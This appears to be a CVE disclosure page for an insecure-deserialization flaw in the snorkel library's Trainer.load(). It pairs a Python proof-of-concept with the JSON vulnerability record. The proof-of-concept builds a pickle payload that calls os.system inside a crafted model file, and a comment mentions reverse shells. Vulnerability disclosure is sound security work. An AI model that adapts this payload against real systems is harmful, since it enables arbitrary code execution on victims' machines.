CVE-2026-31222

import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file or running a shell) # In a real attack, this might be a reverse shell return (os.system, ('echo "CVE-2026-31222 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_obj = MaliciousPayload() # Save the object using torch.save (which uses pickle internally) # This simulates a crafted model file print("[*] Creating malicious model file...") torch.save(malicious_obj, 'malicious_model.pt') print("[+] File 'malicious_model.pt' created successfully.") print("[*] When a victim loads this file using Trainer.load(), the command will execute.") # Simulation of the vulnerable load (commented out for safety) # trainer = Trainer() # trainer.load('malicious_model.pt')

{"cve": {"id": "CVE-2026-31222", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:14.120", "lastModified": "2026-05-13T15:47:09.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the Trainer.load() method of the Trainer class. The method loads model checkpoint files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snorkel:snorkel:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.10.0", "matchCriteriaId": "F2E7FC3A-64C0-4F69-84DD-FC9BA0883D08"}]}]}], "references": [{"url": "https://github.com/snorkel-team/snorkel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31222-35d1e139318881db8398e0732af8df6d", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}